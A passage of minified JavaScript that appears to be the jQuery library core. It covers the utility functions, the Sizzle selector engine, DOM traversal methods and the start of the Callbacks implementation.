g},m.extend({expando:"jQuery"+(l+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===m.type(a)},isArray:Array.isArray||function(a){return"array"===m.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return!m.isArray(a)&&a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==m.type(a)||a.nodeType||m.isWindow(a))return!1;try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(k.ownLast)for(b in a)return j.call(a,b);for(b in a);return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&m.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(o,"ms-").replace(p,q)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=r(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(n,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(r(Object(a))?m.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g)return g.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=r(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),m.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||m.guid++,e):void 0},now:function(){return+new Date},support:k}),m.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function r(a){var b=a.length,c=m.type(a);return"function"===c||m.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var s=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+-new Date,v=a.document,w=0,x=0,y=gb(),z=gb(),A=gb(),B=function(a,b){return a===b&&(l=!0),0},C="undefined",D=1<<31,E={}.hasOwnProperty,F=[],G=F.pop,H=F.push,I=F.push,J=F.slice,K=F.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},L="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",N="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",O=N.replace("w","w#"),P="\\["+M+"*("+N+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+O+"))|)"+M+"*\\]",Q=":("+N+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+P+")*)|.*)\\)|)",R=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),S=new RegExp("^"+M+"*,"+M+"*"),T=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),V=new RegExp(Q),W=new RegExp("^"+O+"$"),X={ID:new RegExp("^#("+N+")"),CLASS:new RegExp("^\\.("+N+")"),TAG:new RegExp("^("+N.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+Q),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+L+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ab=/[+~]/,bb=/'|\\/g,cb=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),db=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{I.apply(F=J.call(v.childNodes),v.childNodes),F[v.childNodes.length].nodeType}catch(eb){I={apply:F.length?function(a,b){H.apply(a,J.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fb(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],!a||"string"!=typeof a)return d;if(1!==(k=b.nodeType)&&9!==k)return[];if(p&&!e){if(f=_.exec(a))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return I.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName&&b.getElementsByClassName)return I.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=9===k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(bb,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+qb(o[l]);w=ab.test(a)&&ob(b.parentNode)||b,x=o.join(",")}if(x)try{return I.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function gb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function hb(a){return a[u]=!0,a}function ib(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function jb(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function kb(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||D)-(~a.sourceIndex||D);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function lb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function mb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function nb(a){return hb(function(b){return b=+b,hb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function ob(a){return a&&typeof a.getElementsByTagName!==C&&a}c=fb.support={},f=fb.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fb.setDocument=function(a){var b,e=a?a.ownerDocument||a:v,g=e.defaultView;return e!==n&&9===e.nodeType&&e.documentElement?(n=e,o=e.documentElement,p=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener("unload",function(){m()},!1):g.attachEvent&&g.attachEvent("onunload",function(){m()})),c.attributes=ib(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ib(function(a){return a.appendChild(e.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(e.getElementsByClassName)&&ib(function(a){return a.innerHTML="<div class='a'></div><div class='a i'></div>",a.firstChild.className="i",2===a.getElementsByClassName("i").length}),c.getById=ib(function(a){return o.appendChild(a).id=u,!e.getElementsByName||!e.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==C&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){var c=typeof a.getAttributeNode!==C&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==C?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==C&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(e.querySelectorAll))&&(ib(function(a){a.innerHTML="<select msallowclip=''><option selected=''></option></select>",a.querySelectorAll("[msallowclip^='']").length&&q.push("[*^$]="+M+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+M+"*(?:value|"+L+")"),a.querySelectorAll(":checked").length||q.push(":checked")}),ib(function(a){var b=e.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+M+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ib(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",Q)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===v&&t(v,a)?-1:b===e||b.ownerDocument===v&&t(v,b)?1:k?K.call(k,a)-K.call(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],i=[b];if(!f||!g)return a===e?-1:b===e?1:f?-1:g?1:k?K.call(k,a)-K.call(k,b):0;if(f===g)return kb(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?kb(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},e):n},fb.matches=function(a,b){return fb(a,null,null,b)},fb.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fb(b,n,null,[a]).length>0},fb.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fb.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&E.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fb.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fb.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fb.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fb.selectors={cacheLength:50,createPseudo:hb,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(cb,db),a[3]=(a[3]||a[4]||a[5]||"").replace(cb,db),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fb.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fb.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(cb,db).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+M+")"+a+"("+M+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||typeof a.getAttribute!==C&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fb.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fb.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?hb(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=K.call(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:hb(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?hb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:hb(function(a){return function(b){return fb(a,b).length>0}}),contains:hb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:hb(function(a){return W.test(a||"")||fb.error("unsupported lang: "+a),a=a.replace(cb,db).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:nb(function(){return[0]}),last:nb(function(a,b){return[b-1]}),eq:nb(function(a,b,c){return[0>c?c+b:c]}),even:nb(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:nb(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:nb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:nb(function(a,b,c){for(var d=0>c?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=lb(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=mb(b);function pb(){}pb.prototype=d.filters=d.pseudos,d.setFilters=new pb,g=fb.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){(!c||(e=S.exec(h)))&&(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=T.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(R," ")}),h=h.slice(c.length));for(g in d.filter)!(e=X[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?fb.error(a):z(a,i).slice(0)};function qb(a){for(var b=0,c=a.length,d="";c>b;b++)d+=a[b].value;return d}function rb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function sb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function tb(a,b,c){for(var d=0,e=b.length;e>d;d++)fb(a,b[d],c);return c}function ub(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function vb(a,b,c,d,e,f){return d&&!d[u]&&(d=vb(d)),e&&!e[u]&&(e=vb(e,f)),hb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||tb(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ub(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ub(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?K.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ub(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):I.apply(g,r)})}function wb(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=rb(function(a){return a===b},h,!0),l=rb(function(a){return K.call(b,a)>-1},h,!0),m=[function(a,c,d){return!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>i;i++)if(c=d.relative[a[i].type])m=[rb(sb(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return vb(i>1&&sb(m),i>1&&qb(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&wb(a.slice(i,e)),f>e&&wb(a=a.slice(e)),f>e&&qb(a))}m.push(c)}return sb(m)}function xb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=G.call(i));s=ub(s)}I.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&fb.uniqueSort(i)}return k&&(w=v,j=t),r};return c?hb(f):f}return h=fb.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wb(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xb(e,d)),f.selector=a}return f},i=fb.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(cb,db),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(cb,db),ab.test(j[0].type)&&ob(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qb(j),!a)return I.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,ab.test(a)&&ob(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ib(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ib(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||jb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ib(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||jb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ib(function(a){return null==a.getAttribute("disabled")})||jb(L,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fb}(a);m.find=s,m.expr=s.selectors,m.expr[":"]=m.expr.pseudos,m.unique=s.uniqueSort,m.text=s.getText,m.isXMLDoc=s.isXML,m.contains=s.contains;var t=m.expr.match.needsContext,u=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,v=/^.[^:#\[\.,]*$/;function w(a,b,c){if(m.isFunction(b))return m.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return m.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(v.test(b))return m.filter(b,a,c);b=m.filter(b,a)}return m.grep(a,function(a){return m.inArray(a,b)>=0!==c})}m.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?m.find.matchesSelector(d,a)?[d]:[]:m.find.matches(a,m.grep(b,function(a){return 1===a.nodeType}))},m.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(m(a).filter(function(){for(b=0;e>b;b++)if(m.contains(d[b],this))return!0}));for(b=0;e>b;b++)m.find(a,d[b],c);return c=this.pushStack(e>1?m.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(w(this,a||[],!1))},not:function(a){return this.pushStack(w(this,a||[],!0))},is:function(a){return!!w(this,"string"==typeof a&&t.test(a)?m(a):a||[],!1).length}});var x,y=a.document,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=m.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||x).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof m?b[0]:b,m.merge(this,m.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:y,!0)),u.test(c[1])&&m.isPlainObject(b))for(c in b)m.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}if(d=y.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2])return x.find(a);this.length=1,this[0]=d}return this.context=y,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):m.isFunction(a)?"undefined"!=typeof x.ready?x.ready(a):a(m):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),m.makeArray(a,this))};A.prototype=m.fn,x=m(y);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};m.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!m(e).is(c)))1===e.nodeType&&d.push(e),e=e[b];return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),m.fn.extend({has:function(a){var b,c=m(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(m.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=t.test(a)||"string"!=typeof a?m(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&m.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?m.unique(f):f)},index:function(a){return a?"string"==typeof a?m.inArray(this[0],m(a)):m.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(m.unique(m.merge(this.get(),m(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}m.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return m.dir(a,"parentNode")},parentsUntil:function(a,b,c){return m.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return m.dir(a,"nextSibling")},prevAll:function(a){return m.dir(a,"previousSibling")},nextUntil:function(a,b,c){return m.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return m.dir(a,"previousSibling",c)},siblings:function(a){return m.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return m.sibling(a.firstChild)},contents:function(a){return m.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:m.merge([],a.childNodes)}},function(a,b){m.fn[a]=function(c,d){var e=m.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=m.filter(d,e)),this.length>1&&(C[a]||(e=m.unique(e)),B.test(a)&&(e=e.reverse())),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return m.each(a.match(E)||[],function(a,c){b[c]=!0}),b}m.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):m.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++)if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){m.each(b,function(b,c){var 